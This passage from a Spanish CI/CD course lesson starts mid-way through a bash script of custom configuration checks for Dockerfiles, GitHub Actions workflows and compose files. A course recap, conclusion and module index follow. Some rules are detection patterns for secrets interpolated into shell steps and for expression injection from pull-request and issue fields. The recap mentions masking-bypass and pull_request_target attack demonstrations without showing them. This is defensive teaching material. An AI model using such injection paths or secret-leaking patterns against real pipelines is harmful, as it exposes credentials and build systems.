# --- Regla 1: la imagen final NUNCA corre como root ---------------
# Se comprueba en la ULTIMA etapa: un USER en una etapa intermedia
# no protege nada.
ULTIMA_ETAPA=$(awk '/^FROM /{n=NR} END{print n}' Dockerfile)
if ! awk -v inicio="$ULTIMA_ETAPA" 'NR > inicio && /^USER /' Dockerfile | grep -qv 'USER root'; then
error Dockerfile "La imagen final no declara un USER no-root"
fi
# --- Regla 2: sin `latest` en ninguna imagen base -----------------
if grep -nE '^FROM .*:latest|^FROM [^:@]+$' Dockerfile; then
error Dockerfile "Imagen base sin versión fijada (:latest o sin tag)"
fi
# --- Regla 3: ningun workflow con permissions: write-all ----------
if grep -rn 'permissions: *write-all' .github/workflows/; then
error .github/workflows "permissions: write-all concede todos los permisos"
fi
# --- Regla 4: ningun secreto interpolado en un `run:` -------------
# Los secretos deben entrar por `env:`, donde el enmascarado y el
# alcance funcionan mejor y no acaban en el historial del shell.
if grep -rnP 'run:.*\$\{\{\s*secrets\.' .github/workflows/; then
error .github/workflows "Secreto interpolado directamente en un run:. Pásalo por env:"
fi
# --- Regla 5: sin datos de usuario interpolados en un `run:` ------
if grep -rnP 'run:[\s\S]{0,200}\$\{\{\s*github\.event\.(pull_request\.(title|body)|issue\.(title|body)|comment\.body)' .github/workflows/; then
error .github/workflows "Dato controlado por el usuario interpolado en un run: (inyección de expresiones)"
fi
# --- Regla 6: sin puertos de base de datos publicados en compose --
if grep -rnE '^\s+- .?(5432|3306|27017|6379):' ./*.yml observabilidad/*.yml 2>/dev/null; then
error docker-compose.yml "Puerto de base de datos publicado en el host"
fi
if [ "$FALLOS" -gt 0 ]; then
echo "### ❌ $FALLOS regla(s) de configuración incumplida(s)" >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "### ✅ Configuración conforme a las reglas del proyecto" >> "$GITHUB_STEP_SUMMARY"La regla 1 es la más instructiva: comprueba el USER solo en la última etapa, porque un USER node en la etapa de build no afecta a la imagen final. Es el tipo de error que una herramienta genérica pasa por alto y que una regla propia, escrita por alguien que conoce el Dockerfile, sí caza. Las reglas propias no sustituyen a las herramientas: cubren lo que las herramientas no saben de tu proyecto.
Reto opcional
Implementa una política de admisión al estilo Kubernetes: un job que, antes de desplegar, verifique en una sola pasada que el artefacto cumple todos los requisitos —firmado por el workflow correcto, con SBOM adjunto, escaneado sin críticas, construido desde main, con procedencia SLSA nivel 2— y que emita un veredicto único. Es el mismo principio que Kyverno o Gatekeeper aplican en un clúster: la política vive fuera del pipeline y el pipeline la consulta, de modo que endurecerla no requiere tocar todos los workflows. Si lo escribes como un script (scripts/admitir.sh) que devuelve 0 o 1 con un informe, podrás reutilizarlo tal cual en el proyecto final.
Qué has construido
- Una auditoría documentada de tu propio pipeline, con diez hallazgos clasificados por severidad, y su corrección verificada.
- Mínimo privilegio en los cinco workflows, con el permiso por defecto del repositorio cerrado y la experiencia de leer el error cuando falta uno.
- Todas las acciones fijadas por SHA, un script que lo automatiza, un control que impide la regresión y Dependabot manteniéndolas al día.
- Los cinco escaneos: secretos (Gitleaks, con
--redacty hook local), SCA (npm auditcon política porjq), SAST (CodeQL, con una inyección real detectada y arreglada), imagen (Trivy conignore-unfixed) y configuración (reglas propias). - Una política de severidades escrita, con excepciones que llevan justificación, aprobador y fecha de caducidad, y un job que falla cuando caducan.
- Un secreto filtrado a propósito y el procedimiento completo de respuesta ejecutado en el orden correcto: rotar, investigar, limpiar, prevenir, post-mortem.
- SBOM CycloneDX adjunto como attestation y firma keyless con Cosign verificada antes de desplegar, comprobado con una imagen falsa que el pipeline rechazó.
- La demostración práctica de que el enmascarado de secretos se rompe con cinco transformaciones triviales, y sus consecuencias.
- El ataque de
pull_request_targetentendido a nivel de código, con sus tres mitigaciones.
Conclusión
El pipeline ya no es solo capaz: es defendible. Y conviene fijar cuál es la idea que sostiene todo lo anterior, porque no son diez herramientas sino un único principio aplicado diez veces: cada eslabón de la cadena debe poder demostrar de dónde viene el anterior. El código viene de un PR revisado sobre una rama protegida; las dependencias, de un lockfile verificado y auditado; la imagen, de un build reproducible que ha dejado firma y SBOM; el despliegue, de una identidad efímera que solo existió durante diez minutos; y cada uno de esos pasos comprueba el anterior en vez de confiar en él. Eso es lo que significa "cadena de suministro segura", y es también lo que hace que un incidente sea investigable: en cada punto hay una respuesta a "¿quién puso esto aquí y con qué autoridad?".
También has aprendido lo que no se dice en las charlas de seguridad: que el control que estorba se desactiva. Cada pieza de esta lección lleva una vía de excepción explícita, con nombre, motivo y fecha, porque la alternativa —un || true a las once de la noche— es peor que no tener el control. La seguridad que sobrevive es la que se puede negociar por escrito.
Con esto se cierran los cinco laboratorios guiados. Tienes un pipeline completo de extremo a extremo: integra, verifica en tres capas, construye un artefacto inmutable, lo escanea, lo firma, lo despliega tras una puerta, lo vigila, lo revierte solo si empeora, y se mide a sí mismo. Lo has construido paso a paso, siguiendo instrucciones.
En la 07-06 no hay instrucciones. El proyecto final es el encargo: un contexto de empresa con sus restricciones y su presupuesto, una lista de requisitos obligatorios cada uno con su criterio de aceptación verificable —"un revisor externo debe poder comprobar que…"—, unos entregables (el repositorio, un PIPELINE.md que justifique cada decisión y su contrapartida, un POSTMORTEM.md de un fallo que provocarás a propósito, y un panel con las métricas), una rúbrica de autoevaluación que puedes aplicarte solo, y un plan de trabajo en cinco sesiones. Lo construyes tú, sobre tu propio proyecto si lo tienes o sobre Mini-Reservalia si no, y decidiendo qué dejas fuera y por qué, que es la parte que este módulo aún no te ha hecho hacer.
Curso de CI/CD: Integración y Despliegue Continuo
Módulo 1: Introducción a CI/CD
- Conceptos Básicos de CI/CD
- Beneficios de CI/CD
- Herramientas Populares de CI/CD
- El Proyecto del Curso: la Aplicación que Vamos a Automatizar
- Métricas DORA: Cómo se Mide la Entrega de Software
Módulo 2: Integración Continua (CI)
- Introducción a la Integración Continua
- Configuración de un Entorno de CI
- Automatización de la Construcción
- Pruebas Automatizadas
- Calidad de Código y Análisis Estático
- Artefactos, Versionado y Promoción
- Integración con Control de Versiones
Módulo 3: Despliegue Continuo (CD)
- Introducción al Despliegue Continuo
- Automatización del Despliegue
- Infraestructura como Código y Entornos Reproducibles
- Estrategias de Despliegue
- Feature Flags, Rollback y Recuperación ante Fallos
- Monitoreo y Retroalimentación
Módulo 4: Prácticas Avanzadas de CI/CD
- Pipelines de CI/CD
- Gestión de Dependencias
- Seguridad en CI/CD
- Escalabilidad y Rendimiento
- Pipeline as Code: Plantillas, Reutilización y Pruebas del Pipeline
- Bases de Datos en el Pipeline: Migraciones Seguras
Módulo 5: Implementación de CI/CD en Proyectos Reales
- Caso de Estudio: Proyecto Web
- Caso de Estudio: Aplicación Móvil
- Caso de Estudio: Microservicios
- Caso de Estudio: Modernizar un Proyecto Legacy
Módulo 6: Herramientas y Tecnologías
- Jenkins
- GitLab CI/CD
- CircleCI
- Travis CI
- Docker y Kubernetes
- GitHub Actions a Fondo
- Comparativa y Criterios para Elegir Herramienta
Módulo 7: Ejercicios Prácticos
- Ejercicio 1: Configuración de un Pipeline Básico
- Ejercicio 2: Integración de Pruebas Automatizadas
- Ejercicio 3: Despliegue en un Entorno de Producción
- Ejercicio 4: Monitoreo y Retroalimentación
- Ejercicio 5: Endurecer el Pipeline con Seguridad y Secretos
- Proyecto Final: Pipeline Completo de Extremo a Extremo
